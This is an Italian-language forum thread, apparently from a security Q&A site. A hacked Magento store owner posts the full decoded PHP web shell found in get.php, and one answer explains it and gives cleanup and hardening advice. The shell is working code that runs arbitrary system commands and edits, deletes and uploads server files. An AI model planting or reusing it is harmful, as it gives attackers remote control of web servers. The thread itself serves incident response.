Sito hackerato - Dove andare da qui? [chiuso]

1

Il nostro sito di e-commerce basato su Magento è stato violato durante il fine settimana, gli hacker sono riusciti a ottenere l'accesso ai file Magento e ad incorporare un codice criptato nel file get.php nella directory root.

Sono riuscito a decodificare il codice usando questa risorsa:

link

Che mi ha dato questo:

if(isset($_GET['cwd'])){
print '<title>. .:: InjectionByME! ::. .</title>';
print '<body text="grey" bgcolor="black">';
print ' <hr><hr>';
print ' <p> <font face="comic sans MS" style="font-size: 10pt">';
print' </p>';
print '<div align="left">';
print '<b>';
set_magic_quotes_runtime(0);
$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];
$currentWD  = str_replace("\\","\",$_POST['_cwd']);
$currentCMD = str_replace("\\","\",$_POST['_cmd']);

$UName  = 'uname -a';
$SCWD   = 'pwd';
$UserID = 'id';

if( $currentWD == "" ) {
    $currentWD = $SCWD;
}

if( $_POST['_act'] == "List files!" ) {
    $currentCMD = "ls -la";
}


print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";

print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";

print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
print "<tr><td><b>Edit File:</b></td><td><table width=\"100%\" border=\"0\"><form method=\"post\" action=\"".$scriptname."\"><input name=\"filename\" type=\"text\" value=\"".$filename."\" size=\"100\"></td>";
print "<tr><td><input type=\"submit\" name=\"submit\" value=\"Open\"><input type=\"submit\" name=\"submit\" value=\"Delete\"></td></tr></table>";
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
print "</div>";
print "</font>";
print "</form>";
print "</td></tr></table>";
if (isset($_POST["filename"])){
$filecontents = htmlentities(file_get_contents($filename));
$filecontent = stripslashes(html_entity_decode($_POST["contents"]));

echo "<tr><td><font face=\"Verdana\" style=\"font-size: 11pt\"><textarea name=\"contents\" cols=\"53\" rows=\"8\">".$filecontents."</textarea></font><br><input type=\"submit\" name=\"submit\" value=\"Save\"><input type=\"reset\" value=\"Reset\">";

if($_POST["submit"] == "Open")
{
    if(file_exists($filename))
    {

        if(!$filecontents)
            $status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}       
else if($_POST["submit"] == "Delete")
{
    if(file_exists($filename))
    {
        if(unlink($filename))   
            $status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>";
        else
            $status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}
else if($_POST["submit"] == "Save")
{

    if(file_exists($filename))
        unlink($filename);

    $handle = fopen($filename, "w");

    if(!$handle)
        $status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>";
    else
    {
        if(!fwrite($handle, $filecontent))
            $status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>";

        fclose($handle);
    }

    $filecontent = htmlentities($filecontent);
}
print "</table></form><hr><hr>";
}
$currentCMD = str_replace("\\"","\"",$currentCMD);
$currentCMD = str_replace("\\'","\'",$currentCMD);

if( $_POST['_act'] == "Upload!" ) {
    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
        print "<center><b>Error while uploading file!</b></center>";
    } else {
        print "<center><pre>";
        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        print "</pre><b>File uploaded successfully!</b></center>";
    }   
} else {
    print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
    $currentCMD = "cd ".$currentWD.";".$currentCMD;
  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
    print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
}

exit;}</pre>

Ho rimosso il codice dal get.php e il sito è di nuovo disponibile, ma non ho davvero la conoscenza delle competenze per sapere dove andare da qui per quanto riguarda:

  1. Sapendo a cosa serviva lo scopo del suddetto hack?
  2. Ulteriore ispezione di altri file di Magento per cercare altri hack
  3. Misura preventiva per difendersi da ulteriori attacchi (a parte un piccolo aggiornamento della versione di Magento, una volta che sono sicuro che i file siano puliti)

Apprezzerei qualsiasi suggerimento che puoi offrire su questo argomento, inoltre prenderei in considerazione l'assunzione di qualcuno che sia in grado di analizzare i file e prevenire ulteriori hack.

Grazie in anticipo.

    
posta Simon Tunnard 10.06.2013 - 10:59
fonte

1 risposta

4
  • 1) L'hack che hai lì abilita una shell remota che offre agli autori di attacchi web un accesso simile a una shell locale, la differenza principale è che è limitata in quello che può fare e funziona solo con le autorizzazioni assegnate al web-server.

  • 2) Cerca codice simile in altri file, controlla i tuoi registri di accesso per vedere a quale altro indirizzo è possibile accedere con lo stesso indirizzo IP, se particolarmente interessato, ripristina un backup (pre-hacked) precedente e upgrade / patch da lì

  • 3) Vedi questo thread e questo articolo parte 2 per alcune guide generali,

Dovrai definire meglio il tuo ambiente e porre domande specifiche per ottenere una risposta più utile.

È sempre una buona idea consultare un professionista per un consiglio, una volta che hai indurito l'installazione, potresti prendere in considerazione l'idea di fare anche un test di penetrazione.

Spero che ti aiuti!

    
risposta data 10.06.2013 - 11:27
fonte

Leggi altre domande sui tag